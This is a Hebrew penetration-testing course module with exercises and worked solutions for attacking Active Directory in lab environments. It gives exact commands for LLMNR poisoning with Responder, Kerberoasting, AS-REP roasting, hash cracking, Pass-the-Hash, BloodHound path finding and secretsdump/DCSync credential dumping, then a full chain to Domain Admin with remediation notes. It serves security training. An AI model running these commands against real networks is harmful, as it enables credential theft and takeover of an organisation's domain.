

מודול 13 — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 13: Active Directory
2.  פתרונות מלאים — מודול 13: Active Directory

תרגילים — מודול 13: Active Directory

⚠️ רק על מעבדת AD חוקית — מומלץ (Attacktive Directory, Attacking Kerberos) TryHackMe, או מעבדה מקומית (GOAD). לעולם לא על דומיין ארגוני ללא הרשאה בכתב. פתרונות ב-solutions.md.

לפני שמתחילים — קרא אותי!

- מה צריך: מעבדת AD (DC + לקוח). דורש RAM 12GB+ מקומית — אם אין לך, תרגל בענן בחדר “Attacktive Directory” ב-TryHackMe (מומלץ מאוד, הכול מוכן). ב-Kali צריך: impacket, crackmapexec/nxc, responder, bloodhound, evil-winrm.
- איך עובדים: קרא קודם את ה-README.md. לכל תקיפה יש פקודה מדויקת ו-✅ קריטריון; לרעיונות 💡 רמז.
- נתקעת? ודא שאתה מכוון לכתובת ה-DC ושהאישורים נכונים. נסה, ואז הצץ ב-solutions.md.
- טיפ: רשום כל אישור (משתמש/סיסמה/hash) שאתה משיג — כל אחד פותח את השלב הבא.

איפה לתרגל — שתי דרכים

- TryHackMe (בדפדפן, ללא התקנה): “Attacking Kerberos” · Attacktive Directory · “AD Basics”
- Kali (מקומי): מעבדת AD מקומית / GOAD — ⚠️ דורש RAM 12GB+, לכן הענן עדיף כאן.

מקרא רמות: קל · בינוני · מתקדם · אתגר

חלק א' — יסודות ו-Enumeration (🟡🟢)

13.1 — הסבר: מהו Domain Controller, ולמה השתלטות עליו = שליטה בכל הארגון? 💡 רמז: README §13.1. ☒ הצלחה: הסברת שה-DC מאמת הכול ומחזיק את מסד הסיסמאות.

13.2 — תאר בקצרה את זרימת אימות **Kerberos** (TGT → TGS → שירות). 💡 רמז: README §13.2. ☒ הצלחה: תיארת את שלושת השלבים.

13.3 🟡 — בצע **Enumeration** על ה-DC.

```
crackmapexec smb <dc-ip> # גרסה, hostname, דומיין
enum4linux-ng -A <dc-ip> # משתמשים, shares
crackmapexec smb <dc-ip> -u user -p pass --users
```

👁️ **חפש:** שם הדומיין, גרסת השרת, ורשימת משתמשים. ☒ הצלחה: אספת את פרטי הדומיין והמשתמשים.

חלק ב' — תקיפות Kerberos ו-LLMNR (🟡)

13.4 🟡 — הפעל **Responder** ולכוד hash NTLMv2, ואז פצח.

```
sudo responder -I eth0 -dwv
# ואז, logs-נלכד ל hash → כשלקוח ניגש לשם שגוי:
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
```

👁️ **חפש:** ב-Responder מופיע **NTLMv2-SSP Hash [SMB]** — העתק אותו לקובץ. ☒ הצלחה: לכדת hash ופיצחת אותו.

13.5 🟡 — בצע **Kerberoasting** ופצח.

```
GetUserSPNs.py corp.local/user:pass -dc-ip <dc-ip> -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
```

☒ הצלחה: קיבלת TGS של חשבון שירות ופיצחת את סיסמתו.

13.6 🟡 — בצע **AS-REP Roasting**. מה מיוחד בו לעומת Kerberoasting?

```
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip <dc-ip> -format hashcat
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

💡 רמז: §13.7 README. הוא לא דורש אישורים — רק שמות משתמש. ✅ הצלחה: פיצחת hash של חשבון ללא preauth.

חלק ג' — תנועה רוחבית ו-BloodHound (🟡)

13.7 🟡 — בצע Pass-the-Hash עם NTLM hash. למה לא צריך לפצח?

```
crackmapexec smb <target> -u Administrator -H <NTLM-hash>
evil-winrm -i <target> -u Administrator -H <NTLM-hash>
```

💡 רמז: NTLM §13.8 README מאמת מול ה-hash עצמו. ✅ הצלחה: התחברת למכונה עם hash בלבד.

13.8 🟡 — הרץ BloodHound ומצא נתיב ל-Domain Admin.

```
bloodhound-python -u user -p pass -d corp.local -ns <dc-ip> -c All
# Shortest Path to Domain Admins (neo4j) ל-BloodHound ל-JSON-טען את ה
```

👁️ חפש: גרף שמראה שרשרת הרשאות עד Domain Admins. ✅ הצלחה: זיהית נתיב תקיפה ל-DA.

13.9 🟡 — הרץ secretsdump.py על מכונה שנפרצה. אילו אישורים שלפת?

```
secretsdump.py corp.local/admin:pass@<target>
```

💡 רמז: §13.8 README. שולף LSA, SAM, ו-cached credentials. ✅ הצלחה: שלפת hashes מהמכונה.

🔴 אתגר מסכם — “מ-Zero ל-Domain Admin”

בחדר AD מלא (TryHackMe Attacktive Directory או GOAD):

1. התחל ללא אישורים (או עם המשתמש הכי מוגבל).
2. השג אישורים ראשוניים (brute / AS-REP / LLMNR).
3. הרחב עם Kerberoasting ו-BloodHound — מצא נתיב ל-Domain Admin.
4. בצע תנועה רוחבית (Pass-the-Hash) עד חשבון בעל הרשאות גבוהות.
5. סיים ב-DCSync — שולף את ה-hash של Administrator, והוכח Domain Admin.
6. תעד את כל השרשרת: כל שלב, הכלי, הפקודה, והתוצאה.

💡 רמז: שרשרת מלאה + פקודות ב- `solutions.md` . הצלחה: הגעת ל- Domain Admin ותיעדת את הדרך.

🔥 שרשרת "Zero to Domain Admin" היא בדיוק בחינת ה-AD של PNPT/OSCP. נכס מרכזי לתיק העבודות.

✅ רשימת בקרה — לפני מעבר למודול 14

- אני מבין מבנה AD (Domain, DC, Kerberos, SPN)
- אני מבצע Enumeration של דומיין (crackmapexec/BloodHound)
- אני מבצע LLMNR Poisoning עם Responder
- אני מבצע Kerberoasting ו-AS-REP Roasting ומפצח
- אני מבצע Pass-the-Hash לתנועה רוחבית
- אני משתמש ב-BloodHound למציאת נתיב ל-Domain Admin
- אני מבין DCSync ו-Golden Ticket

פתרונות מלאים: `solutions.md`

✅ פתרונות מלאים — מודול 13: Active Directory

נסה לבד ב- `missions.md` קודם. כל הפעולות על מעבדת AD חוקית בלבד.

חלק א' — יסודות ו-Enumeration

13.1 — ה-DC מריץ את AD ומאמת כל התחברות בדומיין; הוא מחזיק את מסד הסיסמאות (NTDS.dit). שליטה עליו = שליטה בכל המשתמשים, המחשבים והמדיניות → כל הארגון.

13.2 — המשתמש מבקש TGT מה-KDC (על ה-DC) בעת התחברות; עם ה-TGT מבקש TGS לשירות ספציפי; מציג את ה-TGS לשירות → גישה. הכול מבוסס כרטיסים מוצפנים.

13.3

```
crackmapexec smb <dc-ip> # גרסה, hostname, דומיין
enum4linux-ng -A <dc-ip> # משתמשים, shares, policy
crackmapexec smb <dc-ip> -u user -p pass --users
```

חלק ב' — LLMNR ו-Kerberos

13.4

```
sudo responder -I eth0 -dwv
# logs-נלכד ל NTLMv2 hash → כשלקוח ניגש לשם שגוי
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
```

13.5

```
GetUserSPNs.py corp.local/user:pass -dc-ip <dc-ip> -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
```

13.6

```
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip <dc-ip> -format hashcat
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

המיוחד: **לא צריך אישורים** — רק שמות משתמש; פוגע בחשבונות עם "Do not require preauth".

חלק ג' — תנועה רוחבית ו-BloodHound

13.7

```
crackmapexec smb <target> -u Administrator -H <NTLM-hash>
evil-winrm -i <target> -u Administrator -H <NTLM-hash>
psexec.py -hashes :<NTLM-hash> Administrator@<target>
```

NTLM מאמת מול ה-**hash**, לא מול הסיסמה הגולמית → אפשר "להעביר" את ה-hash כמות שהוא.

13.8

```
bloodhound-python -u user -p pass -d corp.local -ns <dc-ip> -c All
# "Shortest Path to Domain Admins" שאילתה → BloodHound ל-JSON טוענים
```

דוגמה לנתיב: user → member of "IT Support" → AdminTo → SRV01 → session של DAuser → DCSync.

13.9

```
secretsdump.py corp.local/admin:pass@<target>
```

שולף: **NTDS.dit** (כל הדומיין), **SAM** (local hashes), **LSA secrets**, **cached credentials**. על DC — גם **NTDS.dit** (כל הדומיין).

אתגר מסכם — שרשרת מלאה לדוגמה

דוח בדיקת AD – corp.local

1. LLMNR: responder → NTLMv2 של j.smith → hashcat → "Summer2021"
2. Enum: crackmapexec smb -u j.smith → גישה, GetUserSPNs
3. Kerberoast: TGS של svc_sql → hashcat → "Password123!"
4. BloodHound: svc_sql → AdminTo → FILE01; FILE01 מכיל session של DA
5. PtH: secretsdump על FILE01 → NTLM של DA
6. DCSync: secretsdump corp.local/DA@dc → hash של Administrator
7. → psexec ל-DC עם hash → Domain Admin 🏆

המלצות תיקון

- LLMNR/NBT-NS; כבה (gMSA) סיסמאות חזקות לחשבונות שירות
- DCSync נטר; least-privilege; לכל החשבונות preauth הפעל

עברת מ-Zero ל-Domain Admin — היעד של כל בדיקה פנימית. המשך למודול 14.